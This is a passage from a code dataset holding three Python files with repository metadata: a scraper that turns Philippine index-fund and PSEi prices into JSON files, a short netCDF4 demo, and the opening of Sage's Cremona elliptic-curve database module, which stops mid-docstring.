28.7391304348, "max_line_length": 77, "alphanum_fraction": 0.7776096823, "include": true, "reason": "import numpy,import sympy", "num_tokens": 158, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10970578406578957, "lm_q1q2_score": 0.05356751272723541}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Index Fund Data Processing\n# \n# This notebook contains code for data scraping and formatting of index fund prices into time-series JSON files. Index funds processed include Unit Investment Trust Funds (UITF), Mutual Funds (MF), and Exchange-Traded Funds (ETF) which are invested in the Philippine Stock Exchange, track the Philippine Stock Exchange Index (PSEi), and whose portfolios track the PSEi composition. In addition, this notebook also downloads and processes the PSEi and the PSEi Total Return Index (PSEi TRI) time-series prices as benchmarks so the index funds' performances can be compared. \n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nimport json\nimport os\nfrom datetime import datetime\n\n\n# In[2]:\n\n\noverwrite_uitf = False\noverwrite_mf = False\noverwrite_etf = False\noverwrite_index = False\n\nprint_json = False\n\n\n# ## Unit Investment Trust Fund (UITF) Data Extraction\n# \n# The code below extracts the list of peso equity funds from uitf.com.ph, and upon user selection, will extract the entire price history of the selected fund. Output is a JSON file containing key-value pairs of \"Date\": \"NAVPU\". \n# \n# The UITFs included in this analysis are hand-picked below to be specifically \"index funds\"; their fund information sheets should specifically note that the portfolio track the PSEi composition. \n# \n# These funds are: \n# - BDO Equity Index Fund\n# - BDO PERA Equity Index Fund\n# - BPI Philippine Equity Index Fund\n# - CTBC Bank - Sun Life Philippine Stock Index Feeder Fund\n# - EastWest PSEi Tracker Fund\n# - PNB Phil-Index Tracker Fund\n# - SB Philippine Equity Index Fund\n# - UnionBank Philippine Equity Index Portfolio\n# - UCPB Philippine Index Equity Fund\n\n# In[3]:\n\n\n# URL containing list of Peso equity UITFs\nuitf_fund_list_url = \"http://www.uitf.com.ph/fund-matrix.php?sortby=bank&sortorder=asc&class_id=1&currency=PHP&btn=Filter\"\n\n\n# In[4]:\n\n\n# We GET from the URL above, and parse the HTML document to get the 4th <table>\n\nresponse = requests.get(uitf_fund_list_url)\n\nsoup = BeautifulSoup(response.content)\ntable = soup.find_all('table')[3]\n\n\n# In[5]:\n\n\n# We parse the HTML <table> and convert it to a Pandas dataframe\n# The dataframe's columns are: 'Bank', 'Fund Name', 'Bank ID', 'Fund ID'\n# The 'Bank ID' and 'Fund ID' are parsed from the 'View' GET request per row\n\nfor row in table.find_all('tr'):\n  th_tags = row.find_all('th')\n  if len(th_tags) > 0:\n    column_names = [\" \".join(th.get_text().split()) for th in th_tags]\n    uitf_fund_list = pd.DataFrame(columns=(column_names + [\"Bank ID\", \"Fund ID\"]))\n  td_tags = row.find_all('td')\n  if len(td_tags) > 0:\n    row_append = pd.Series([\" \".join(td.get_text().split()) for td in td_tags], column_names)\n    \n    get_attrs = td_tags[-1].find('a').attrs['href'].split('?')[1].split('&')\n    fund_id = int(get_attrs[0].split('=')[1])\n    bank_id = int(get_attrs[1].split('=')[1])\n    bank_fund_id = pd.Series([bank_id, fund_id], [\"Bank ID\", \"Fund ID\"])\n\n    row_append = row_append.append(bank_fund_id)\n\n    uitf_fund_list = uitf_fund_list.append(row_append, ignore_index=True)\n\nuitf_fund_list = uitf_fund_list[['Bank', 'Fund Name', 'Bank ID', 'Fund ID']]\n\n\n# In[6]:\n\n\n# This is a manual selection (i.e. human-selected) of index equity funds from:\n# uitf_fund_list[[\"Bank\", \"Fund Name\"]].to_numpy().tolist()\n\nindex_fund_name = [['BDO Unibank, Inc.', 'BDO EQUITY INDEX FUND'],\n ['BDO Unibank, Inc.', 'BDO PERA EQUITY INDEX FUND'],\n ['BPI Asset Management and Trust Corporation', 'BPI Philippine Equity Index Fund'],\n ['CTBC Bank (Philippines) Corp.', 'CTBC Bank - Sun Life Philippine Stock Index Feeder Fund'],\n ['EastWest Banking Corporation', 'EastWest PSEI Tracker Fund'],\n ['Metropolitan Bank & Trust Co.', 'Metro Philippine Equity Index Tracker Fund'],\n ['Philippine National Bank', 'PNB PHIL-INDEX TRACKER FUND(formerly PNB ENHANCED PHIL-INDEX REFERENCE FUND)'],\n ['Security Bank Corporation', 'SB PHILIPPINE EQUITY INDEX FUND'],\n ['Union Bank', 'UnionBank Philippine Equity Index Portfolio'],\n ['United Coconut Planters Bank', 'UCPB Philippine Index Equity Fund']]\n\nindex_fund_name = set(tuple(x) for x in index_fund_name)\n\nuitf_index_fund_list = uitf_fund_list[uitf_fund_list.apply(lambda x: (tuple([x['Bank'], x['Fund Name']]) in index_fund_name), axis=1)].reset_index(drop=True)\n\nuitf_index_fund_list['Fund Name'] = uitf_index_fund_list['Fund Name'].replace(\n    'BDO EQUITY INDEX FUND', 'BDO Equity Index Fund').replace(\n    'BDO PERA EQUITY INDEX FUND', 'BDO PERA Equity Index Fund').replace(\n    'EastWest PSEI Tracker Fund', 'EastWest PSEi Tracker Fund').replace(\n    'PNB PHIL-INDEX TRACKER FUND(formerly PNB ENHANCED PHIL-INDEX REFERENCE FUND)', 'PNB Phil-Index Tracker Fund').replace(\n    'SB PHILIPPINE EQUITY INDEX FUND', 'SB Philippine Equity Index Fund')\n\n\n# In[7]:\n\n\nfmonth = '01'\nfday = '01'\nfyear = '1970'\ntmonth = '12'\ntday = '31'\ntyear = '2030'\n\ndata_dir = 'data'\nif not os.path.exists(data_dir):\n  os.makedirs(data_dir)\n\n\n# In[8]:\n\n\nfor index_fund in list(uitf_index_fund_list.iterrows()):\n  bank_id = index_fund[1]['Bank ID']\n  fund_id = index_fund[1]['Fund ID']\n\n  timeseries_url = 'http://www.uitf.com.ph/daily_navpu_details_json.php?bank_id={}&fund_id={}&fmonth={}&fday={}&fyear={}&tmonth={}&tday={}&tyear={}&btn=Filter'.format(\n      bank_id, fund_id, fmonth, fday, fyear, tmonth, tday, tyear\n  )\n\n  response = requests.get(timeseries_url)\n  navpu_list = [tuple(reversed(x.replace('NAVpu : <b>', '').replace('</b>', '').replace('Date : ', '').split('<br>'))) for x in json.loads(response.content)['thlabels']]\n  \n  if print_json:\n    print(index_fund[1]['Fund Name'])\n    print(json.dumps(dict(navpu_list)))\n    print('')\n  \n  json_file = os.path.join(data_dir, index_fund[1]['Fund Name'] + '.json')\n  \n  if not os.path.isfile(json_file) or overwrite_uitf:\n    with open(json_file, 'w') as f:\n      json.dump(dict(navpu_list), f)\n  \n\n\n# In[9]:\n\n\n# Fix data from 'PNB Phil-Index Tracker Fund'\nraw_file = os.path.join(data_dir, 'PNB Phil-Index Tracker Fund' + '.json')\nwith open(raw_file, 'r') as f:\n  raw_dict = json.loads(f.readline().strip())\nraw_dict.pop(' 26, 2016', None)\nwith open(raw_file, 'w') as f:\n  json.dump(raw_dict, f)\n\n# Fix data from 'UCPB Philippine Index Equity Fund'\nraw_file = os.path.join(data_dir, 'UCPB Philippine Index Equity Fund' + '.json')\nwith open(raw_file, 'r') as f:\n  raw_dict = json.loads(f.readline().strip())\nraw_dict['Jun 10, 2019'] = '1.1472'\nwith open(raw_file, 'w') as f:\n  json.dump(raw_dict, f)\n\n# Fix data from 'CTBC Bank - Sun Life Philippine Stock Index Feeder Fund'\nraw_file = os.path.join(data_dir, 'CTBC Bank - Sun Life Philippine Stock Index Feeder Fund' + '.json')\nwith open(raw_file, 'r') as f:\n  raw_dict = json.loads(f.readline().strip())\nraw_dict['Sep 19, 2019'] = '0.99575'\nwith open(raw_file, 'w') as f:\n  json.dump(raw_dict, f)\n\n\n# ## Mutual Fund (MF) Data Extraction\n# \n# The MF data was scraped using other tools; this section will transform the raw price data into the standard JSON file format used in the UITF section above. \n# \n# The MFs included in this analysis are hand-picked below to be specifically \"index funds\"; their fund information sheets should specifically note that the portfolio track the PSEi composition. \n# \n# These funds are: \n# - First Metro Save and Learn Philippine Index Fund\n# - PAMI Equity Index Fund\n# - Philequity PSE Index Fund\n# - Philippine Stock Index Fund\n# - Sun Life Prosperity Philippine Stock Index Fund\n\n# In[10]:\n\n\nraw_data_dir = 'raw-data'\ndata_dir = 'data'\nif not os.path.exists(data_dir):\n  os.makedirs(data_dir)\n\n\n# In[11]:\n\n\n# First Metro Save and Learn Philippine Index Fund\n\nfund_name = 'First Metro Save and Learn Philippine Index Fund'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  line_list = f1.readline().strip()[2:-2].split('],[')\n\nfor line in line_list:\n  line = line.strip()\n  date = int(line.split(',')[0]) // 1000\n  date = datetime.utcfromtimestamp(date).strftime('%b %-d, %Y')\n  price = line.split(',')[1]\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_mf:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n\n# In[12]:\n\n\n# PAMI Equity Index Fund\n\nfund_name = 'PAMI Equity Index Fund'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  line_list = reversed(f1.readlines())\n\nfor line in line_list:\n  line = line.strip()\n  date = line.split('\\t')[0]\n  date = datetime.strptime(date, '%Y-%m-%d').strftime('%b %-d, %Y')\n  price = line.split('\\t')[1][:-1]\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_mf:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n\n# In[13]:\n\n\n# Philequity PSE Index Fund\n\nfund_name = 'Philequity PSE Index Fund'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  line_list = f1.readlines()[1:]\n\nfor line in line_list:\n  line = line.strip()\n  date = line.split('\\t')[0]\n  date = datetime.strptime(date, '%Y-%m-%d').strftime('%b %-d, %Y')\n  price = line.split('\\t')[1]\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_mf:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n\n# In[14]:\n\n\n# Philippine Stock Index Fund\n\nfund_name = 'Philippine Stock Index Fund'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  raw_dict = json.loads(f1.readline().strip())\n\ndate_list = raw_dict['category']\nprice_list = raw_dict['values']\n\nfor i in range(len(date_list)):\n  date = date_list[i]\n  date = datetime.strptime(date, '%Y-%m-%d').strftime('%b %-d, %Y')\n  price = \"{}\".format(price_list[i])\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_mf:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n\n# In[15]:\n\n\n# Sun Life Prosperity Philippine Stock Index Fund\n\nfund_name = 'Sun Life Prosperity Philippine Stock Index Fund'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  line_list = f1.readline().strip()[3:-3].split('\\'), (\\'')\n\nfor line in line_list:\n  line = line.strip()\n  date = line.split('\\', \\'')[0]\n  date = datetime.strptime(date, '%b %d, %Y').strftime('%b %-d, %Y')\n  price = line.split('\\', \\'')[1]\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_mf:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n\n# ## Exchange-Traded Fund (ETF) Data Extraction\n# \n# The ETF data was also scraped using other tools; this section will transform the raw price data into the standard JSON file format used in the UITF and MF sections above. \n# \n# Currently, there is only one ETF in the PSE, and it specifically tracks the PSEi composition; hence, it is an index fund. \n# \n# This fund is: \n# - First Metro Equity Exchange-Traded Fund\n\n# In[16]:\n\n\nraw_data_dir = 'raw-data'\ndata_dir = 'data'\nif not os.path.exists(data_dir):\n  os.makedirs(data_dir)\n\n\n# In[17]:\n\n\n# First Metro Equity Exchange-Traded Fund\n\nfund_name = 'First Metro Equity Exchange-Traded Fund'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  line_list = f1.readline().strip()[2:-2].split('],[')\n\nfor line in line_list:\n  line = line.strip()\n  date = int(line.split(',')[0]) // 1000\n  date = datetime.utcfromtimestamp(date).strftime('%b %d, %Y')\n  price = line.split(',')[1]\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_etf:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n\n# ## PSEi and PSEi TRI Data Extraction\n# \n# The PSEi and PSEi TRI were also scraped / downloaded using other tools and sources. This section will transform the raw price data into the standard JSON file format used in the UITF, MF, and ETF sections above. \n\n# In[18]:\n\n\nraw_data_dir = 'raw-data'\ndata_dir = 'data'\nif not os.path.exists(data_dir):\n  os.makedirs(data_dir)\n\n\n# In[19]:\n\n\n# PSEi\n\nfund_name = 'PSEi'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  line_list = f1.readlines()[1:]\n\nfor line in line_list:\n  line = line.strip()\n  date = line.split(',')[0]\n  date = datetime.strptime(date, '%Y-%m-%d').strftime('%b %-d, %Y')\n  price = line.split(',')[4]\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_index:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n\n# In[20]:\n\n\n# PSEi Total Return\n\nfund_name = 'PSEi Total Return'\nraw_file = os.path.join(raw_data_dir, fund_name + '.txt')\njson_file = os.path.join(data_dir, fund_name + '.json')\n\nnavps = dict()\nwith open(raw_file, 'r') as f1:\n  line_list = f1.readlines()\n\nfor line in line_list:\n  line = line.strip()\n  date = line.split('\\t')[0]\n  date = datetime.strptime(date, '%m/%d/%Y').strftime('%b %-d, %Y')\n  price = line.split('\\t')[1]\n  navps[date] = price\n\nif print_json:\n  print(fund_name)\n  print(json.dumps(navps))\n  print('')\n\nif not os.path.isfile(json_file) or overwrite_index:\n  with open(json_file, 'w') as f2:\n    json.dump(navps, f2)\n\n", "meta": {"hexsha": "20bf559e333a8e60437994d21e65b9f3bacf2741", "size": 14019, "ext": "py", "lang": "Python", "max_stars_repo_path": "index-fund-data-processing.py", "max_stars_repo_name": "wdjose/pse-index-funds", "max_stars_repo_head_hexsha": "f7fb35ae63d9f7b1ff9559d74edb42285ba1c229", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-01-11T20:52:41.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-16T06:46:18.000Z", "max_issues_repo_path": "index-fund-data-processing.py", "max_issues_repo_name": "wdjose/pse-index-funds", "max_issues_repo_head_hexsha": "f7fb35ae63d9f7b1ff9559d74edb42285ba1c229", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "index-fund-data-processing.py", "max_forks_repo_name": "wdjose/pse-index-funds", "max_forks_repo_head_hexsha": "f7fb35ae63d9f7b1ff9559d74edb42285ba1c229", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.7864476386, "max_line_length": 573, "alphanum_fraction": 0.6932020829, "include": true, "reason": "import numpy", "num_tokens": 3986, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10970577824417872, "lm_q1q2_score": 0.05356750988463949}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"netcdf_P.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/1WZQe2U65UyG45e167DVVg9uqyoLkSs9c\n\n**netCDF**\r\n\r\nUsually We have to install netCDF4 in Google Collab and Jupyter Notebook for working on it.\n\"\"\"\n\npip install netCDF4\n\nimport warnings\r\nwarnings.filterwarnings('ignore')\n\nimport datetime\r\nimport numpy as np\r\nimport netCDF4 as nc4\n\nncFileName = 'sample_netcdf.nc4'\r\nmodeType   = 'w'\r\nfileFormat = 'NETCDF4'\r\nncfid = nc4.Dataset(ncFileName, mode=modeType, format=fileFormat)\n\n\"\"\"This is just a Demo, If you need any help regarding your work or Project. Please **Email me vatshayan007@gmail.com **\"\"\"\n\n", "meta": {"hexsha": "01507eeb310a09cf9817c5875b45d159a206b260", "size": 704, "ext": "py", "lang": "Python", "max_stars_repo_path": "netcdf_p.py", "max_stars_repo_name": "Vatshayan/netCDF4-Project", "max_stars_repo_head_hexsha": "3416895341e1b8d9ced188e33b71fb2927eaec42", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "netcdf_p.py", "max_issues_repo_name": "Vatshayan/netCDF4-Project", "max_issues_repo_head_hexsha": "3416895341e1b8d9ced188e33b71fb2927eaec42", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "netcdf_p.py", "max_forks_repo_name": "Vatshayan/netCDF4-Project", "max_forks_repo_head_hexsha": "3416895341e1b8d9ced188e33b71fb2927eaec42", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.4666666667, "max_line_length": 123, "alphanum_fraction": 0.7514204545, "include": true, "reason": "import numpy", "num_tokens": 202, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10970576660095784, "lm_q1q2_score": 0.05356750419944807}}
{"text": "\"\"\"\nCremona's tables of elliptic curves\n\nSage includes John Cremona's tables of elliptic curves in an\neasy-to-use format. An instance of the class CremonaDatabase()\ngives access to the database.\n\nIf the optional full CremonaDatabase is not installed, a mini-version\nis included by default with Sage.  It contains Weierstrass equations,\nrank, and torsion for curves up to conductor 10000.\n\nThe large database includes all curves in John Cremona's tables. It\nalso includes data related to the BSD conjecture and modular degrees\nfor all of these curves, and generators for the Mordell-Weil\ngroups. To install it, run the following in the shell::\n\n    sage -i database_cremona_ellcurve\n\nThis causes the latest version of the database to be downloaded from\nthe internet.\n\nBoth the mini and full versions of John Cremona's tables are stored in\nSAGE_SHARE/cremona as SQLite databases. The mini version has the layout::\n\n    CREATE TABLE t_class(conductor INTEGER, class TEXT PRIMARY KEY, rank INTEGER);\n    CREATE TABLE t_curve(class TEXT, curve TEXT PRIMARY KEY, eqn TEXT UNIQUE, tors INTEGER);\n    CREATE INDEX i_t_class_conductor ON t_class(conductor);\n    CREATE INDEX i_t_curve_class ON t_curve(class);\n\nwhile the full version has the layout::\n\n    CREATE TABLE t_class(conductor INTEGER, class TEXT PRIMARY KEY, rank INTEGER, L REAL, deg INTEGER);\n    CREATE TABLE t_curve(class TEXT, curve TEXT PRIMARY KEY, eqn TEXT UNIQUE, gens TEXT, tors INTEGER, cp INTEGER, om REAL, reg REAL, sha);\n    CREATE INDEX i_t_class_conductor ON t_class(conductor);\n    CREATE INDEX i_t_curve_class ON t_curve(class);\n\"\"\"\n#*****************************************************************************\n#       Copyright (C) 2014 John Cremona <john.cremona@gmail.com>\n#       Copyright (C) 2011 R. Andrew Ohana <andrew.ohana@gmail.com>\n#       Copyright (C) 2005 William Stein <wstein@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#  as published by the Free Software Foundation; either version 2 of\n#  the License, or (at your option) any later version.\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\n\nfrom __future__ import print_function\n\nimport os\nfrom sage.misc.prandom import randint\n\nimport sage.schemes.elliptic_curves.constructor as elliptic\nfrom sql_db import SQLDatabase, verify_column\nfrom sage.misc.package import is_package_installed\nfrom sage.env import SAGE_SHARE\nfrom sage.misc.all import walltime\n\nimport re\nimport string\n\n_cremonaSkeleton = {\n    't_class': {\n        'conductor': {'sql':'INTEGER', 'index':True},\n        'class':     {'sql':'TEXT',    'primary_key':True},\n        'rank':      {'sql':'INTEGER'},\n        'L':         {'sql':'REAL'},\n        'deg':       {'sql':'INTEGER'}\n    },\n    't_curve': {\n        'class':    {'sql':'TEXT', 'index':True},\n        'curve':    {'sql':'TEXT', 'primary_key':True},\n        'eqn':      {'sql':'TEXT', 'unique':True},\n        'gens':     {'sql':'TEXT'},\n        'tors':     {'sql':'INTEGER'},\n        'cp':       {'sql':'INTEGER'},\n        'om':       {'sql':'REAL'},\n        'reg':      {'sql':'REAL'},\n        'sha':      {'sql':'NOTYPE'}\n    }\n}\n_miniCremonaSkeleton = {\n    't_class': {\n        'conductor': {'sql':'INTEGER', 'index':True},\n        'class':     {'sql':'TEXT',    'primary_key':True},\n        'rank':      {'sql':'INTEGER'}\n    },\n    't_curve': {\n        'class':    {'sql':'TEXT', 'index':True},\n        'curve':    {'sql':'TEXT', 'primary_key':True},\n        'eqn':      {'sql':'TEXT', 'unique':True},\n        'tors':     {'sql':'INTEGER'}\n    }\n}\n\nfor t in _cremonaSkeleton:\n    for c in _cremonaSkeleton[t]:\n        _cremonaSkeleton[t][c] = verify_column(_cremonaSkeleton[t][c])\n    for c in _miniCremonaSkeleton[t]:\n        _miniCremonaSkeleton[t][c] = verify_column(_miniCremonaSkeleton[t][c])\n\ndef build(name, data_tgz, largest_conductor=0, mini=False, decompress=True):\n    \"\"\"\n    Build the CremonaDatabase with given name from scratch\n    using the data_tgz tarball.\n\n    .. note::\n\n           For data up to level 350000, this function takes about\n           3m40s.  The resulting database occupies 426MB disk space.\n\n    To create the large Cremona database from Cremona's data_tgz\n    tarball, obtainable from\n    http://homepages.warwick.ac.uk/staff/J.E.Cremona/ftp/data/, run\n    the following command::\n\n        sage: d = sage.databases.cremona.build('cremona','ecdata.tgz')   # not tested\n    \"\"\"\n    db_path = os.path.join(SAGE_SHARE,'cremona',name.replace(' ','_')+'.db')\n    if os.path.exists(db_path):\n        raise RuntimeError('Please (re)move %s before building '%db_path \\\n                + 'database')\n    if not os.path.exists(data_tgz):\n        raise IOError(\"The data file is not at %s\"%data_tgz)\n    t = walltime()\n\n    if decompress:\n        cmd = \"tar zxvf %s\"%data_tgz\n        n = os.system(cmd)\n        if n:\n            raise RuntimeError(\"Error extracting tarball.\")\n    if mini:\n        c = MiniCremonaDatabase(name,False,True)\n    else:\n        c = LargeCremonaDatabase(name,False,True)\n    # The following line assumes that the tarball extracts to a\n    # directory called 'ecdata'\n    c._init_from_ftpdata('ecdata', largest_conductor)\n    print(\"Total time: \", walltime(t))\n\ndef is_optimal_id(id):\n    \"\"\"\n    Returns true if the Cremona id refers to an optimal curve, and\n    false otherwise. The curve is optimal if the id, which is of the\n    form [letter code][number] has number 1.\n\n    .. note::\n\n       990h3 is the optimal curve in that class, so doesn't obey\n       this rule.\n\n    INPUT:\n\n    -  ``id`` - str of form letter code followed by an\n       integer, e.g., a3, bb5, etc.\n\n    OUTPUT: bool\n\n    EXAMPLES::\n\n        sage: from sage.databases.cremona import is_optimal_id\n        sage: is_optimal_id('b1')\n        True\n        sage: is_optimal_id('bb1')\n        True\n        sage: is_optimal_id('c1')\n        True\n        sage: is_optimal_id('c2')\n        False\n    \"\"\"\n    return id[-1] == '1' and not id[-2].isdigit()\n\ndef cremona_letter_code(n):\n    \"\"\"\n    Returns the Cremona letter code corresponding to an integer. For\n    example, 0 - a 25 - z 26 - ba 51 - bz 52 - ca 53 - cb etc.\n\n    .. note::\n\n       This is just the base 26 representation of n, where a=0, b=1,\n       ..., z=25. This extends the old Cremona notation (counting from\n       0) for the first 26 classes, and is different for classes above\n       26.\n\n    INPUT:\n\n    -  ``n`` (int) -- a non-negative integer\n\n    OUTPUT: str\n\n    EXAMPLES::\n\n        sage: from sage.databases.cremona import cremona_letter_code\n        sage: cremona_letter_code(0)\n        'a'\n        sage: cremona_letter_code(26)\n        'ba'\n        sage: cremona_letter_code(27)\n        'bb'\n        sage: cremona_letter_code(521)\n        'ub'\n        sage: cremona_letter_code(53)\n        'cb'\n        sage: cremona_letter_code(2005)\n        'czd'\n\n    TESTS::\n\n        sage: cremona_letter_code(QQ)\n        Traceback (most recent call last):\n        ...\n        ValueError: Cremona letter codes are only defined for non-negative integers\n        sage: cremona_letter_code(x)\n        Traceback (most recent call last):\n        ...\n        ValueError: Cremona letter codes are only defined for non-negative integers\n        sage: cremona_letter_code(-1)\n        Traceback (most recent call last):\n        ...\n        ValueError: Cremona letter codes are only defined for non-negative integers\n        sage: cremona_letter_code(3.14159)\n        Traceback (most recent call last):\n        ...\n        ValueError: Cremona letter codes are only defined for non-negative integers\n    \"\"\"\n    try:\n        m = int(n)\n        if n == m:\n            n = m\n        else:\n            n = -1\n    except (ValueError, TypeError):\n        n = -1\n\n    if n<0:\n        raise ValueError(\"Cremona letter codes are only defined for non-negative integers\")\n\n    if n == 0:\n        return \"a\"\n    s = \"\"\n    while n != 0:\n        s = chr(n%26+97) + s\n        n //= 26\n    return s\n\ndef old_cremona_letter_code(n):\n    r\"\"\"\n    Returns the *old* Cremona letter code corresponding to an integer.\n    integer.\n\n    For example::\n\n        1  --> A\n        26 --> Z\n        27 --> AA\n        52 --> ZZ\n        53 --> AAA\n        etc.\n\n    INPUT:\n\n    -  ``n`` - int\n\n    OUTPUT: str\n\n    EXAMPLES::\n\n        sage: from sage.databases.cremona import old_cremona_letter_code\n        sage: old_cremona_letter_code(1)\n        'A'\n        sage: old_cremona_letter_code(26)\n        'Z'\n        sage: old_cremona_letter_code(27)\n        'AA'\n        sage: old_cremona_letter_code(521)\n        'AAAAAAAAAAAAAAAAAAAAA'\n        sage: old_cremona_letter_code(53)\n        'AAA'\n        sage: old_cremona_letter_code(2005)\n        'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'\n    \"\"\"\n    n -= 1\n    k = n%26 + 65\n    label = chr(k)*int(n//26 + 1)\n    return label\n\nold_cremona_label_regex = re.compile(r'(\\d+)([A-Z]*)(\\d*)$')\ncremona_label_regex = re.compile(r'(\\d+)([a-z]*)(\\d*)$')\nlmfdb_label_regex = re.compile(r'(\\d+)\\.([a-z]+)(\\d*)$')\n\ndef parse_cremona_label(label):\n    \"\"\"\n    Given a Cremona label that defines an elliptic\n    curve, e.g., 11a1 or 37b3, parse the label and return the\n    conductor, isogeny class label, and number.\n\n    For this function, the curve number may be omitted, in which case\n    it defaults to 1.  If the curve number and isogeny class are both\n    omitted (label is just a string representing a conductor), then\n    the isogeny class defaults to 'a' and the number to 1.  Valid\n    labels consist of one or more digits, followed by zero or more\n    letters (either all in upper case for an old Cremona label, or all\n    in lower case), followed by zero or more digits.\n\n    INPUT:\n\n    -  ``label`` - str\n\n    OUTPUT:\n\n    -  ``int`` - the conductor\n    -  ``str`` - the isogeny class label\n    -  ``int`` - the number\n\n    EXAMPLES::\n\n        sage: from sage.databases.cremona import parse_cremona_label\n        sage: parse_cremona_label('37a2')\n        (37, 'a', 2)\n        sage: parse_cremona_label('37b1')\n        (37, 'b', 1)\n        sage: parse_cremona_label('10bb2')\n        (10, 'bb', 2)\n        sage: parse_cremona_label('11a')\n        (11, 'a', 1)\n        sage: parse_cremona_label('11')\n        (11, 'a', 1)\n\n    Valid old Cremona labels are allowed::\n\n        sage: parse_cremona_label('17CCCC')\n        (17, 'dc', 1)\n        sage: parse_cremona_label('5AB2')\n        Traceback (most recent call last):\n        ...\n        ValueError: 5AB2 is not a valid Cremona label\n\n    TESTS::\n\n        sage: from sage.databases.cremona import parse_cremona_label\n        sage: parse_cremona_label('x11')\n        Traceback (most recent call last):\n        ...\n        ValueError: x11 is not a valid Cremona label\n    \"\"\"\n    m = cremona_label_regex.match(str(label))\n    if m is None:\n        m = old_cremona_label_regex.match(str(label))\n        if m is None:\n            raise ValueError(label + \" is not a valid Cremona label\")\n\n    conductor, iso, num = m.groups()\n    if len(iso) == 0:\n        iso = \"a\"\n    if len(num) == 0:\n        num = \"1\"\n\n    # convert old cremona labels to new ones\n    if iso.upper() == iso and iso[0]*len(iso) == iso:\n        iso = cremona_letter_code((len(iso)-1)*26+ord(iso[0])-ord('A'))\n\n    # verify cremona label is valid\n    if iso.lower() != iso:\n        raise ValueError('%s is not a valid Cremona label'%label)\n\n    return int(conductor), iso, int(num)\n\ndef parse_lmfdb_label(label):\n    \"\"\"\n    Given an LMFDB label that defines an elliptic curve, e.g., 11.a1\n    or 37.b3, parse the label and return the conductor, isogeny class\n    label, and number.\n\n    The LMFDB label (named after the L-functions and modular forms\n    database), is determined by the following two orders:\n\n    - Isogeny classes with the same conductor are ordered\n      lexicographically by the 